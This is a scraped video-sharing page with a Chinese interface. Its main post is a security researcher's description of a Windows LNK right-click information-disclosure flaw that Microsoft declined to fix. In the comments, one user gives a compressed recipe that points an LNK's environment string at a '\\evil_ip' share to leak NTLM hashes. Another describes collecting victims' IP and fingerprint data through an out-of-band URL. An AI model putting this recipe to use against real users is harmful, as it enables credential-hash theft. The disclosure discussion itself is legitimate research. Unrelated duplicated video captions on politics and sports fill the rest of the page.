正在加载视频...

视频加载失败

加载此视频时出现问题。这可能是由于临时网络问题，或视频可能不可用。

A quick writeup on potential security issue of Windows LNK that I reported to MSRC last month. They decided to not fix due to relying on MOTW. In the blog I included the proof of concept. All you have to do is to Right-Click and get Info Disclosure :)

nafiez

2,300 subscribers

25,280 次观看 • 1 年前 •via X (Twitter)

科学技术新闻政治教育

Anya Rossi• Live Now

Private livecam show

11 条评论

sixtyvividtails 的头像

sixtyvividtails1 年前

Nice seeing actual dig into details of .LNK structure! tag/TLDR: lnk.header.flags |= HAS_EXP_STRING; 🤭 lnk.envarBlock := "\\evil_ip\gibe_hash" then right-click to sendout the ntlm hash

nafiez 的头像

nafiez1 年前

Thanks 🫡

WAGMI | Crypto, DeFi & Web3 News 的头像

WAGMI | Crypto, DeFi & Web3 News2 年前

"My friends think I'm a crypto genius, (I'm not) it's because I read WAGMI’s weekly newsletter (and they have no idea it exists)" - Every Crypto Degen

I am Jakoby 的头像

I am Jakoby1 年前

I did something similar but I passed an http oob url and used it to collect their ip address, geolocation, and finger print info This is significantly more severe and I am honestly shocked they decided not to fix it

nafiez 的头像

nafiez1 年前

That sounds awesome! Have you write or publish anything about the stuff you work on? Yeah too bad they didn’t treat this as security issue since MOTW did the protection, according to them :-)

ClearSky Cyber Security 的头像

ClearSky Cyber Security1 年前

Open since June 24

nafiez 的头像

nafiez1 年前

The description looks similar however in your advisory seems to tie with CVE-2024-43451. How come this still not fix for the Right-Click? Any thoughts?

jcatblackhat 的头像

jcatblackhat1 年前

TAG: PoC

Jean 的头像

Jean1 年前

What's the app you use for function tracing?

nafiez 的头像

nafiez1 年前

I’m using Rohitab API Monitor

Bruno 的头像

Bruno1 年前

@BriPwn

相关视频

I invest in a lot of entrepreneurs that I don't like but I respect. I respect them and the only thing I care about is executional skills. The ability to say, "All right this is what I'm going to achieve this month" and then execute on it. When they hit their bumps which they all do, because whatever their plan was is not going to work, they have the ability to pivot. That what I look for.

I invest in a lot of entrepreneurs that I don't like but I respect. I respect them and the only thing I care about is executional skills. The ability to say, "All right this is what I'm going to achieve this month" and then execute on it. When they hit their bumps which they all do, because whatever their plan was is not going to work, they have the ability to pivot. That what I look for.

Kevin O'Leary aka Mr. Wonderful

31,216 次观看 • 1 年前

People continue to blame me, saying, 'You are the Aare Onakakanfo of Yoruba Land and you refused to do something on the issue of insecurity affecting us', Gani Adams says. He also noted: "I have written to South West governors that there is a need for collaboration on the issue of security; all hands must be on deck to address this ugly situation, but for the past two years, they did not reply me. [Gani Adams, Aare Onakakanfo of Yoruba Land] #SunriseDaily

People continue to blame me, saying, 'You are the Aare Onakakanfo of Yoruba Land and you refused to do something on the issue of insecurity affecting us', Gani Adams says. He also noted: "I have written to South West governors that there is a need for collaboration on the issue of security; all hands must be on deck to address this ugly situation, but for the past two years, they did not reply me. [Gani Adams, Aare Onakakanfo of Yoruba Land] #SunriseDaily

Channels Television

137,947 次观看 • 2 个月前

Last but not least bug of the year, 2025. Found a remote printer bug that allows remote arbitrary write file. This was reported to MSRC however they told us is not replicated on their side.

Last but not least bug of the year, 2025. Found a remote printer bug that allows remote arbitrary write file. This was reported to MSRC however they told us is not replicated on their side.

nafiez

21,360 次观看 • 7 个月前

"If they feel strongly enough that they have to break the law to get the message across, then I think that speaks to the larger issue that the government isn't listening to protestors and they have to resort to these types of means." My live reporting last night on Al Jazeera English

"If they feel strongly enough that they have to break the law to get the message across, then I think that speaks to the larger issue that the government isn't listening to protestors and they have to resort to these types of means." My live reporting last night on Al Jazeera English

bencamach0.bsky.social

37,488 次观看 • 2 年前

"One of ours .... all of yours" - that is the homeland security motto?! Do they want to fix or to fight

"One of ours .... all of yours" - that is the homeland security motto?! Do they want to fix or to fight

Christopher C. Cuomo

29,701 次观看 • 7 个月前

Drake and Future have reportedly squashed their beef 🙏 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included.” (via Elliott Wilson)

Drake and Future have reportedly squashed their beef 🙏 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included.” (via Elliott Wilson)

Complex Music

132,165 次观看 • 1 年前

This is the state of society today. A man thinks he has the right to access female-only spaces because his feelings were hurt by people not believing he is a woman. Is that not the object of the game? It is not a woman's burden that you have chosen to medicalise yourself, and it is not up to them to act as your human shield. Just stop. I had to edit out the ending of this video because a minor was on camera, and I do not allow that. I said: "I appreciate that, but women shouldn't have to feel uncomfortable for you to feel comfortable. If they continue to challenge you, advise them that you are male or speak to a member of staff." To see the full protest video, I have posted it on my Substack below. If you are interested in supporting me attending these protest please go to the link in the bio or subscribe to the substack.

This is the state of society today. A man thinks he has the right to access female-only spaces because his feelings were hurt by people not believing he is a woman. Is that not the object of the game? It is not a woman's burden that you have chosen to medicalise yourself, and it is not up to them to act as your human shield. Just stop. I had to edit out the ending of this video because a minor was on camera, and I do not allow that. I said: "I appreciate that, but women shouldn't have to feel uncomfortable for you to feel comfortable. If they continue to challenge you, advise them that you are male or speak to a member of staff." To see the full protest video, I have posted it on my Substack below. If you are interested in supporting me attending these protest please go to the link in the bio or subscribe to the substack.

MichaelDPUK 💜🦎

12,815 次观看 • 1 个月前

This is an open message to Ross Coulthart to contact me and please talk through why you believe that I should not reveal the location of a giant UFO which is in a building within a building underneath a very high security military facility You leaked this over two years ago but withheld the destination and there is definitely a chance I am wrong but the strength of the evidence I now have is enough that I am going to go public with my findings in three hours time I clearly do not want to threaten National USUKAus Security and it is your potential mess to clean up... I would like to talk it through with you, but more importantly I think it is in the interests of the public to know about the deception that holds back full Disclosure

This is an open message to Ross Coulthart to contact me and please talk through why you believe that I should not reveal the location of a giant UFO which is in a building within a building underneath a very high security military facility You leaked this over two years ago but withheld the destination and there is definitely a chance I am wrong but the strength of the evidence I now have is enough that I am going to go public with my findings in three hours time I clearly do not want to threaten National USUKAus Security and it is your potential mess to clean up... I would like to talk it through with you, but more importantly I think it is in the interests of the public to know about the deception that holds back full Disclosure

Moneypenny

3,625,046 次观看 • 1 年前

Root: You have the right to declare a national security emergency for elections. If you do this in the next month, we will get photo ID, proof of citizenship, and a limit to mail-in ballots… Trump: Let me just say stranger things have happened. I'll leave it at that.

Root: You have the right to declare a national security emergency for elections. If you do this in the next month, we will get photo ID, proof of citizenship, and a limit to mail-in ballots… Trump: Let me just say stranger things have happened. I'll leave it at that.

Acyn

1,391,153 次观看 • 2 天前

Q: On the teleprompter issue, NOTUS reported that Kalshi is inaccessible on the wifi journalists at the White House have access to. Do staffers have access to Kalshi and Polymarket on their wifi? LEAVITT: I'm happy to go try and get you an answer on that

Q: On the teleprompter issue, NOTUS reported that Kalshi is inaccessible on the wifi journalists at the White House have access to. Do staffers have access to Kalshi and Polymarket on their wifi? LEAVITT: I'm happy to go try and get you an answer on that

Aaron Rupar

198,668 次观看 • 28 天前

BANNON: The illegal alien invasion of our country is our biggest national security issue ever! They do not want to assimilate. They do not believe in our values. THEY ALL HAVE TO GO. The Left will die on this hill because they know they need illegals to win elections.

BANNON: The illegal alien invasion of our country is our biggest national security issue ever! They do not want to assimilate. They do not believe in our values. THEY ALL HAVE TO GO. The Left will die on this hill because they know they need illegals to win elections.

Bannon’s WarRoom

26,779 次观看 • 7 个月前

DRAKE & FUTURE HAVE REPORTEDLY SQUASHED THEIR BEEF 🚨 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included” (Via Elliot Wilson)

DRAKE & FUTURE HAVE REPORTEDLY SQUASHED THEIR BEEF 🚨 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included” (Via Elliot Wilson)

NFR Podcast

4,461,097 次观看 • 1 年前

Michael Jordan breaks down the absolute true mindset of a champion. "First of all you got to believe in yourself. You got to have a passion. You got to put forth the work." "Discipline means you have to really decide on that you want to be a winner. And when someone tries to take you to go do things that's not focused on being a winner you have to be disciplined to say you know what, I got to stay to what I have to do." "For people who skip those steps and think they just show up on Sunday, I don't want nothing to do with them."

Michael Jordan breaks down the absolute true mindset of a champion. "First of all you got to believe in yourself. You got to have a passion. You got to put forth the work." "Discipline means you have to really decide on that you want to be a winner. And when someone tries to take you to go do things that's not focused on being a winner you have to be disciplined to say you know what, I got to stay to what I have to do." "For people who skip those steps and think they just show up on Sunday, I don't want nothing to do with them."

ABDCHAIN

307,525 次观看 • 1 个月前

"I put a lot of it on me on the wins and losses and I need to do a better job. I'm not going to sit here and blame it on the roster, the coaching staff. I'm going to blame it on the guy that's sitting right in front of you. I need to do a better job"

"I put a lot of it on me on the wins and losses and I need to do a better job. I'm not going to sit here and blame it on the roster, the coaching staff. I'm going to blame it on the guy that's sitting right in front of you. I need to do a better job"

New York Jets

118,475 次观看 • 7 个月前

It’s not just that the oligarchs don’t want to pay their fair share of taxes. Many of them literally do not believe in the concept of government. They are rich and powerful and have the “divine right” to do anything they want.

It’s not just that the oligarchs don’t want to pay their fair share of taxes. Many of them literally do not believe in the concept of government. They are rich and powerful and have the “divine right” to do anything they want.

Sen. Bernie Sanders

179,195 次观看 • 1 年前

MacFarlane: The issue here is that they don't have the requisite support to do this, even in a vacuum, because they understand this is a generational decision to get rid of the filibuster, and they're not keen on doing that, not knowing what's going to happen over the next generation long after Trump is gone

MacFarlane: The issue here is that they don't have the requisite support to do this, even in a vacuum, because they understand this is a generational decision to get rid of the filibuster, and they're not keen on doing that, not knowing what's going to happen over the next generation long after Trump is gone

Acyn

26,767 次观看 • 1 个月前

.Chad Pergram: "Nothing's going to get done on health care now, right, this year?" .Leader John Thune "It’s a complicated issue, no doubt about it. A lot of moving parts and we have different visions of what health care ought to look like…You’re right, we’re not going to pass anything by the end of this week, but I do think there is a potential pathway in January if Democrats are willing to come to the table to do things that will actually drive down the cost of health care."

.Chad Pergram: "Nothing's going to get done on health care now, right, this year?" .Leader John Thune "It’s a complicated issue, no doubt about it. A lot of moving parts and we have different visions of what health care ought to look like…You’re right, we’re not going to pass anything by the end of this week, but I do think there is a potential pathway in January if Democrats are willing to come to the table to do things that will actually drive down the cost of health care."

CSPAN

100,168 次观看 • 8 个月前

14/20: I want the game to have an easy to use level editor eventually. Last year I worked on this proof of concept that makes levels for the demo. You can try it out now and make some cool puzzles!

14/20: I want the game to have an easy to use level editor eventually. Last year I worked on this proof of concept that makes levels for the demo. You can try it out now and make some cool puzzles!

Poke ALL Toads

11,266 次观看 • 5 个月前